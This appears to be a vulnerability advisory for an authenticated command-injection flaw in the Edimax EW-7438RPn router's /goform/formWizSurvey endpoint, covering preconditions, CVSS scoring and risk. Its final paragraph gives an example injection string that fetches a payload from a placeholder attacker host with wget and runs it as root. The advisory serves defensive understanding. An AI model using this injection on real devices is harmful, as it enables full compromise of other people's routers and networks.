Edimax EW-7438RPn EUVD-2026-31558

Requires valid authentication to the device's web administration interface (CVSS PR:L - low-privileged authenticated access). Exploitation specifically targets the formWizSurvey function accessible via the /goform/formWizSurvey endpoint, which is part of the wireless survey/configuration feature in the web UI. Default credentials are common in consumer networking devices and often not changed by end users, significantly lowering the authentication barrier in practice. The vulnerability is exploitable from any network location that can reach the device's HTTP/HTTPS management interface - if remote management is enabled on the WAN interface (non-default but possible configuration), exploitation is possible from the internet; if disabled (typical), exploitation requires LAN access or prior network compromise. No special configuration of the wireless survey feature is required beyond its presence in firmware version 1.31 or earlier.

Real-world risk is MODERATE despite the medium CVSS 6.3 score. CVSS vector indicates network-accessible (AV:N), low attack complexity (AC:L), but requires low-privileged authentication (PR:L) - meaning attackers need valid credentials to the device's web interface. The CVSS temporal metrics show proof-of-concept exploit exists (E:P) with no official remediation (RL:X). The publicly available GitHub POC lowers the skill barrier for exploitation. However, attack surface is limited to environments where attackers already have credentials or can exploit weak default passwords common in consumer routers. NOT in CISA KEV, suggesting no widespread active exploitation detected. Key limiting factor: authentication requirement means this is primarily a post-compromise or credential-stuffing target rather than mass-exploitation scenario. Vendor non-responsiveness is concerning - no patch expected, making this a persistent risk for deployed devices.

An attacker who has obtained valid administrative credentials (through phishing, default password reuse, or brute force) authenticates to the EW-7438RPn web interface and navigates to the wireless survey configuration page. By injecting shell metacharacters into the IP address, subnet mask, or gateway fields (e.g., '192.168.1.1; wget http://attacker.com/malware -O /tmp/payload; sh /tmp/payload'), the attacker executes arbitrary commands with the privileges of the webs server process, typically root. This enables full device compromise, including firmware modification, traffic interception, or using the device as a pivot point into the internal network.